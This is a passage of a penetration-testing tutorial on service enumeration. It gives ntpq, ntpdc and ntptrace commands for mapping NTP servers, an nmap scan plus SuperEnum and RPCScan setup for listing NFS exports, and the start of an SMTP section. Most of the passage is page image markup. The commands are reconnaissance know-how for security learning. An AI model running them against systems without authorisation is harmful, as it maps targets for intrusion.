stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h4><strong>Common ntpq commands include:</strong></h4><pre><code># List peer servers with IP addresses
ntpq -pn [target_ip]

# Interactive mode
ntpq [target_ip]
ntpq&gt; peers
ntpq&gt; associations

# Get association details
ntpq -c associations [target_ip]

# Show system variables
ntpq -c sysinfo [target_ip]</code></pre><h4>ntpdc Commands</h4><p>This command queries the NTP daemon for detailed configuration and statistical information about peer servers and system operation. It provides more comprehensive data than ntpq but is being deprecated in newer NTP versions.</p><pre><code><code># List all known servers
ntpdc -l [target_ip]

# Interactive mode
ntpdc [target_ip]
ntpdc&gt; listpeers
ntpdc&gt; peers

# Show system information
ntpdc -c sysinfo [target_ip]

# Display peer statistics
ntpdc -c peerstats [target_ip]

# Show system statistics
ntpdc -c sysstats [target_ip]</code></code></pre><h4>ntptrace Commands</h4><p>This command traces the chain of NTP servers back to the primary time source, revealing the complete hierarchy of time synchronization. This exposes the network's timing infrastructure and relationships between servers.</p><p><strong>Use the following command to view the available parameters:</strong></p><pre><code>ntptrace &#8212;help</code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!76Ju!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbec08797-53d8-46df-ba99-a840a69fa1db_1794x770.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!76Ju!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbec08797-53d8-46df-ba99-a840a69fa1db_1794x770.png 424w, https://substackcdn.com/image/fetch/$s_!76Ju!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbec08797-53d8-46df-ba99-a840a69fa1db_1794x770.png 848w, https://substackcdn.com/image/fetch/$s_!76Ju!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbec08797-53d8-46df-ba99-a840a69fa1db_1794x770.png 1272w, https://substackcdn.com/image/fetch/$s_!76Ju!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbec08797-53d8-46df-ba99-a840a69fa1db_1794x770.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!76Ju!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbec08797-53d8-46df-ba99-a840a69fa1db_1794x770.png" width="1456" height="625" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/bec08797-53d8-46df-ba99-a840a69fa1db_1794x770.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:625,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:594948,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/173154131?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbec08797-53d8-46df-ba99-a840a69fa1db_1794x770.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!76Ju!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbec08797-53d8-46df-ba99-a840a69fa1db_1794x770.png 424w, https://substackcdn.com/image/fetch/$s_!76Ju!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbec08797-53d8-46df-ba99-a840a69fa1db_1794x770.png 848w, https://substackcdn.com/image/fetch/$s_!76Ju!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbec08797-53d8-46df-ba99-a840a69fa1db_1794x770.png 1272w, https://substackcdn.com/image/fetch/$s_!76Ju!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbec08797-53d8-46df-ba99-a840a69fa1db_1794x770.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h4><strong>Common ntptrace usage:</strong></h4><pre><code># Trace time server hierarchy
ntptrace [target_ip]

# Trace with timeout specification
ntptrace -t 5 [target_ip]

# Trace with retry count
ntptrace -r 3 [target_ip]

# Maximum number of levels to trace
ntptrace -m 10 [target_ip]</code></pre><div><hr></div><h2>NFS Enumeration (Port 2049)</h2><p>NFS (Network File System) lets systems mount and use remote directories as if they were local. Common in Unix/Linux environments for sharing home dirs, backups, and application data.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!OU34!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F062cfe72-31c6-4901-98e2-acca5456c429_1500x500.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!OU34!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F062cfe72-31c6-4901-98e2-acca5456c429_1500x500.jpeg 424w, https://substackcdn.com/image/fetch/$s_!OU34!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F062cfe72-31c6-4901-98e2-acca5456c429_1500x500.jpeg 848w, https://substackcdn.com/image/fetch/$s_!OU34!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F062cfe72-31c6-4901-98e2-acca5456c429_1500x500.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!OU34!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F062cfe72-31c6-4901-98e2-acca5456c429_1500x500.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!OU34!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F062cfe72-31c6-4901-98e2-acca5456c429_1500x500.jpeg" width="1456" height="485" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/062cfe72-31c6-4901-98e2-acca5456c429_1500x500.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:485,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:420401,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/173154131?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F062cfe72-31c6-4901-98e2-acca5456c429_1500x500.jpeg&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!OU34!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F062cfe72-31c6-4901-98e2-acca5456c429_1500x500.jpeg 424w, https://substackcdn.com/image/fetch/$s_!OU34!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F062cfe72-31c6-4901-98e2-acca5456c429_1500x500.jpeg 848w, https://substackcdn.com/image/fetch/$s_!OU34!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F062cfe72-31c6-4901-98e2-acca5456c429_1500x500.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!OU34!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F062cfe72-31c6-4901-98e2-acca5456c429_1500x500.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h3><strong>How NFS Works:</strong></h3><p>NFS servers export directory paths. Clients request mounts via RPC calls to the NFS service (usually over TCP/UDP 2049). The server responds with export lists and, if allowed, serves file operations (read, write, list). Authentication/authorization is typically host/IP-based (older NFS) or via Kerberos.</p><h3>What you can find</h3><ul><li><p>Exported directories (shares) and their access permissions</p></li><li><p>List of clients connected to the NFS server with their IP addresses</p></li><li><p>Shared data associated with client IP addresses</p></li><li><p>File and directory listings of exported content (if world-readable)</p></li><li><p>Sensitive files left in exports (backups, keys, configs)</p></li><li><p>UID/GID mappings and hints about users and services</p></li></ul><p><em>NFS enumeration enables attackers to identify exported directories, client connections, and potentially spoof IP addresses to gain unauthorized access to shared files.</em></p><h3>NFS Enumeration Commands</h3><p><strong>Initial port scan:</strong></p><pre><code><code>nmap -p 2049 &lt;target&gt;              # Check if NFS port is open</code></code></pre><h4><strong>Install and use SuperEnum:</strong></h4><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!z-Vh!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F590df967-bd3c-4ecc-aa01-a525bfd78491_2038x994.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!z-Vh!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F590df967-bd3c-4ecc-aa01-a525bfd78491_2038x994.png 424w, https://substackcdn.com/image/fetch/$s_!z-Vh!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F590df967-bd3c-4ecc-aa01-a525bfd78491_2038x994.png 848w, https://substackcdn.com/image/fetch/$s_!z-Vh!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F590df967-bd3c-4ecc-aa01-a525bfd78491_2038x994.png 1272w, https://substackcdn.com/image/fetch/$s_!z-Vh!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F590df967-bd3c-4ecc-aa01-a525bfd78491_2038x994.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!z-Vh!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F590df967-bd3c-4ecc-aa01-a525bfd78491_2038x994.png" width="1456" height="710" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/590df967-bd3c-4ecc-aa01-a525bfd78491_2038x994.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:710,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:829548,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/173154131?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F590df967-bd3c-4ecc-aa01-a525bfd78491_2038x994.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!z-Vh!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F590df967-bd3c-4ecc-aa01-a525bfd78491_2038x994.png 424w, https://substackcdn.com/image/fetch/$s_!z-Vh!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F590df967-bd3c-4ecc-aa01-a525bfd78491_2038x994.png 848w, https://substackcdn.com/image/fetch/$s_!z-Vh!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F590df967-bd3c-4ecc-aa01-a525bfd78491_2038x994.png 1272w, https://substackcdn.com/image/fetch/$s_!z-Vh!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F590df967-bd3c-4ecc-aa01-a525bfd78491_2038x994.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><pre><code><code># Download and install SuperEnum
git clone https://github.com/P3GLEG/SuperEnum.git
cd SuperEnum
chmod +x superenum

# Create target file and run scan
echo "&lt;target_ip&gt;" &gt;&gt; Target.txt    
./superenum                         # Run enumeration script
# Enter Target.txt when prompted</code></code></pre><h4><strong>Install and use RPCScan:</strong></h4><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!5iOC!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Feab1055b-16c4-4b19-ada6-4c03380d989c_1684x944.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!5iOC!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Feab1055b-16c4-4b19-ada6-4c03380d989c_1684x944.png 424w, https://substackcdn.com/image/fetch/$s_!5iOC!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Feab1055b-16c4-4b19-ada6-4c03380d989c_1684x944.png 848w, https://substackcdn.com/image/fetch/$s_!5iOC!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Feab1055b-16c4-4b19-ada6-4c03380d989c_1684x944.png 1272w, https://substackcdn.com/image/fetch/$s_!5iOC!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Feab1055b-16c4-4b19-ada6-4c03380d989c_1684x944.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!5iOC!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Feab1055b-16c4-4b19-ada6-4c03380d989c_1684x944.png" width="1456" height="816" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/eab1055b-16c4-4b19-ada6-4c03380d989c_1684x944.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:816,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:749199,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/173154131?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Feab1055b-16c4-4b19-ada6-4c03380d989c_1684x944.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!5iOC!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Feab1055b-16c4-4b19-ada6-4c03380d989c_1684x944.png 424w, https://substackcdn.com/image/fetch/$s_!5iOC!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Feab1055b-16c4-4b19-ada6-4c03380d989c_1684x944.png 848w, https://substackcdn.com/image/fetch/$s_!5iOC!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Feab1055b-16c4-4b19-ada6-4c03380d989c_1684x944.png 1272w, https://substackcdn.com/image/fetch/$s_!5iOC!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Feab1055b-16c4-4b19-ada6-4c03380d989c_1684x944.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><pre><code><code># Download and install RPCScan
git clone https://github.com/hegusung/RPCScan.git
cd RPCScan
pip3 install -r requirements.txt

# Run RPC enumeration
python3 rpc-scan.py &lt;target&gt; --rpc  # List RPC services and NFS details</code></code></pre><h3>NFS enumeration tools:</h3><ol><li><p>RPSCan</p></li><li><p>SuperEnum</p></li></ol><div><hr></div><h2>SMTP Enumeration (Port 25, 587, 465)</h2><p>SMTP (Simple Mail Transfer Protocol) is an internet standard communication protocol for electronic mail transmission. </p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!UIXN!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff80c7c96-a1a1-4dda-a82b-93b4aef04fef_1500x500.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!UIXN!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff80c7c96-a1a1-4dda-a82b-93b4aef04fef_1500x500.jpeg 424w, https://substackcdn.com/image/fetch/$s_!UIXN!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff80c7c96-a1a1-4dda-a82b-93b4aef04fef_1500x500.jpeg 848w, https://substackcdn.com/image/fetch/$s_!UIXN!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff80c7c96-a1a1-4dda-a82b-93b4aef04fef_1500x500.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!UIXN!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff80c7c96-a1a1-4dda-a82b-93b4aef04fef_1500x500.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!UIXN!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff80c7c96-a1a1-4dda-a82b-93b4aef04fef_1500x500.jpeg" width="1456" height="485" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/f80c7c96-a1a1-4dda-a82b-93b4aef04fef_1500x500.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:485,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:422920,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/173154131?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff80c7c96-a1a1-4dda-a82b-93b4aef04fef_1500x500.jpeg&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!UIXN!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff80c7c96-a1a1-4dda-a82b-93b4aef04fef_1500x500.jpeg 424w, https://substackcdn.com/image/fetch/$s_!UIXN!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff80c7c96-a1a1-4dda-a82b-93b4aef04fef_1500x500.jpeg 848w, https://substackcdn.com/image/fetch/$s_!UIXN!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff80c7c96-a1a1-4dda-a82b-93b4aef04fef_1500x500.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!UIXN!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff80c7c96-a1a1-4dda-a82b-93b4aef04fef_1500x500.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" 